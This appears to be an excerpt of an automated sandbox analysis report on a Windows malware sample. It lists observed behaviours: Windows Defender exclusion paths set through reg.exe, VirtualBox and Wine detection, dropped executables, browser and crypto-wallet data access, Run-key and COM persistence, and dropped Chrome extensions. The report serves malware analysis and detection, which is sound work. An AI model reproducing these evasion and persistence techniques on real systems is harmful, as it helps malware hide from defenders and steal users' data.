Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\nFLFFjqrQPUn = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\tegRANPZONsU2 = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\ZmzskowerwXEonlG = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\JipyTrDkU = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\tegRANPZONsU2 = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\ZmzskowerwXEonlG = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\YLgKyOFzWxOqC = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\nFLFFjqrQPUn = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0" C:\Windows\SysWOW64\reg.exe N/A

Detects executables (downlaoders) containing URLs to raw contents of a paste

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Detects executables packed with or use KoiVM

Description Indicator Process Target
N/A N/A N/A N/A

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A

Downloads MZ/PE file

Drops file in Drivers directory

Description Indicator Process Target
File opened for modification C:\Windows\system32\drivers\360fsflt.sys C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
File created C:\Windows\system32\drivers\360fsflt.sys C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
File created C:\Windows\system32\drivers\360Camera64.sys C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Windows\system32\drivers\360AntiHacker64.sys C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Windows\system32\drivers\360AvFlt.sys C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Windows\system32\drivers\BAPIDRV64.SYS C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Windows\system32\drivers\360netmon.sys C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Windows\system32\drivers\360Box64.sys C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A

Modifies Installed Components in the registry

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{EF289A85-8E57-408d-BE47-73B55609861A}\ComponentID = "Windows Roots Update" C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe N/A
Key created \REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Active Setup\Installed Components\{EF289A85-8E57-408d-BE47-73B55609861A} C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{EF289A85-8E57-408d-BE47-73B55609861A}\ = "RootsUpdate" C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{EF289A85-8E57-408d-BE47-73B55609861A}\IsInstalled = "1" C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{EF289A85-8E57-408d-BE47-73B55609861A}\Version = "41,0,2195,0" C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{EF289A85-8E57-408d-BE47-73B55609861A}\Locale = "*" C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe N/A

Sets service image path in registry

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\360AntiHacker\ImagePath = "System32\\Drivers\\360AntiHacker64.sys" C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\360AvFlt\ImagePath = "system32\\DRIVERS\\360AvFlt.sys" C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\BAPIDRV\ImagePath = "system32\\DRIVERS\\BAPIDRV64.sys" C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\360Box64\ImagePath = "system32\\DRIVERS\\360Box64.sys" C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\QHActiveDefense\ImagePath = "\"C:\\Program Files (x86)\\360\\Total Security\\safemon\\QHActiveDefense.exe\"" C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\360FsFlt\ImagePath = "system32\\DRIVERS\\360FsFlt.sys" C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\360FsFlt\ImagePath = "system32\\DRIVERS\\360FsFlt.sys" C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\360Camera\ImagePath = "System32\\Drivers\\360Camera64.sys" C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\360netmon\ImagePath = "system32\\DRIVERS\\360netmon.sys" C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\rundll32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7zS3E38.tmp\Install.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\f76669f\download.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Control Panel\International\Geo\Nation C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Control Panel\International\Geo\Nation C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\f76669f\download.exe N/A
N/A N/A C:\Users\Admin\Pictures\syxWFssEjg8Q0zED4zads7OJ.exe N/A
N/A N/A C:\Users\Admin\Pictures\5RPjD3JOz7usfkWxpU5iP4TS.exe N/A
N/A N/A C:\Users\Admin\Pictures\nOE5uaInN74Siuzk89nsXcIl.exe N/A
N/A N/A C:\Users\Admin\Pictures\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe N/A
N/A N/A C:\Users\Admin\Pictures\sF49ahnQMDczQOcNZlSvJ5Nk.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS3A62.tmp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS3E38.tmp\Install.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\Utils\PowerSaver.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\PopWndLog.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe N/A
N/A N/A C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\frDbhUXJJbPEeVC\AvSYvqx.exe N/A
N/A N/A C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe N/A

Identifies Wine through registry keys

evasion
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe N/A
N/A N/A C:\Windows\system32\WerFault.exe N/A
N/A N/A C:\Windows\system32\WerFault.exe N/A
N/A N/A C:\Windows\system32\WerFault.exe N/A
N/A N/A C:\Windows\system32\WerFault.exe N/A
N/A N/A C:\Windows\system32\WerFault.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe N/A
N/A N/A C:\Users\Admin\Pictures\nOE5uaInN74Siuzk89nsXcIl.exe N/A
N/A N/A C:\Users\Admin\Pictures\nOE5uaInN74Siuzk89nsXcIl.exe N/A
N/A N/A C:\Users\Admin\Pictures\nOE5uaInN74Siuzk89nsXcIl.exe N/A
N/A N/A C:\Users\Admin\Pictures\nOE5uaInN74Siuzk89nsXcIl.exe N/A
N/A N/A C:\Users\Admin\Pictures\nOE5uaInN74Siuzk89nsXcIl.exe N/A
N/A N/A C:\Users\Admin\Pictures\360TS_Setup.exe N/A
N/A N/A C:\Users\Admin\Pictures\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe N/A
N/A N/A C:\Users\Admin\Pictures\sF49ahnQMDczQOcNZlSvJ5Nk.exe N/A
N/A N/A C:\Users\Admin\Pictures\sF49ahnQMDczQOcNZlSvJ5Nk.exe N/A
N/A N/A C:\Users\Admin\Pictures\sF49ahnQMDczQOcNZlSvJ5Nk.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Users\Admin\Pictures\sF49ahnQMDczQOcNZlSvJ5Nk.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS3A62.tmp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS3A62.tmp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS3A62.tmp\Install.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A

Modifies system executable filetype association

persistence
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\SD360 C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\SD360\ = "{086F171D-5ED1-4ED2-B736-CFF3AD6A128E}" C:\Windows\system32\regsvr32.exe N/A

Reads user/profile data of web browsers

spyware stealer

Registers COM server for autorun

persistence
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{086F171D-5ED1-4ED2-B736-CFF3AD6A128E}\InprocServer32 C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{086F171D-5ED1-4ED2-B736-CFF3AD6A128E}\InprocServer32\ = "C:\\Program Files (x86)\\360\\Total Security\\MenuEx64.dll" C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{086F171D-5ED1-4ED2-B736-CFF3AD6A128E}\InprocServer32\ThreadingModel = "Apartment" C:\Windows\system32\regsvr32.exe N/A

Unexpected DNS network traffic destination

Description Indicator Process Target
Destination IP 54.194.209.120 N/A N/A
Destination IP 54.76.114.22 N/A N/A
Destination IP 54.76.114.22 N/A N/A
Destination IP 54.194.209.120 N/A N/A
Destination IP 54.194.209.120 N/A N/A
Destination IP 54.76.114.22 N/A N/A
Destination IP 54.194.209.120 N/A N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\QHSafeTray = "\"C:\\Program Files (x86)\\360\\Total Security\\safemon\\QHSafeTray.exe\" /start" C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\QHSafeTray = "\"C:\\Program Files (x86)\\360\\Total Security\\safemon\\QHSafeTray.exe\" /start" C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A

Checks for any installed AV software in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AVAST Software\Avast C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Doctor Web\InstalledComponents C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\QHActiveDefense C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\QHActiveDefense\Group C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\QHActiveDefense\DisplayName = "360 Total Security" C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\QHActiveDefense\ImagePath = "\"C:\\Program Files (x86)\\360\\Total Security\\safemon\\QHActiveDefense.exe\"" C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Eset\NOD\CurrentVersion\Info C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\AVAST Software\Avast C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Eset\NOD\CurrentVersion\Info C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\QHActiveDefense C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\QHActiveDefense\DisplayName C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\QHActiveDefense C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Avira C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\QHActiveDefense\Group = "TDI" C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\QHActiveDefense\ImagePath C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\QHActiveDefense\ObjectName C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\QHActiveDefense\ErrorControl C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\QHActiveDefense\ObjectName = "LocalSystem" C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\QHActiveDefense\Type C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\QHActiveDefense\ErrorControl = "1" C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\QHActiveDefense\Start = "2" C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\QHActiveDefense\Type = "16" C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Avira C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Doctor Web\InstalledComponents C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\QHActiveDefense\Start C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A

Checks installed software on the system

discovery

Checks whether UAC is enabled

evasion trojan
Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A

Drops Chrome extension

Description Indicator Process Target
File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\s: C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
File opened (read-only) \??\v: C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
File opened (read-only) \??\g: C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
File opened (read-only) \??\l: C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
File opened (read-only) \??\o: C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
File opened (read-only) \??\q: C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
File opened (read-only) \??\r: C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
File opened (read-only) \??\z: C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
File opened (read-only) \??\f: C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
File opened (read-only) \??\j: C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
File opened (read-only) \??\k: C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
File opened (read-only) \??\n: C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
File opened (read-only) \??\p: C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
File opened (read-only) \??\y: C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
File opened (read-only) \??\h: C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
File opened (read-only) \??\m: C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
File opened (read-only) \??\t: C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
File opened (read-only) \??\w: C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
File opened (read-only) \??\x: C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
File opened (read-only) \??\e: C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
File opened (read-only) \??\i: C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
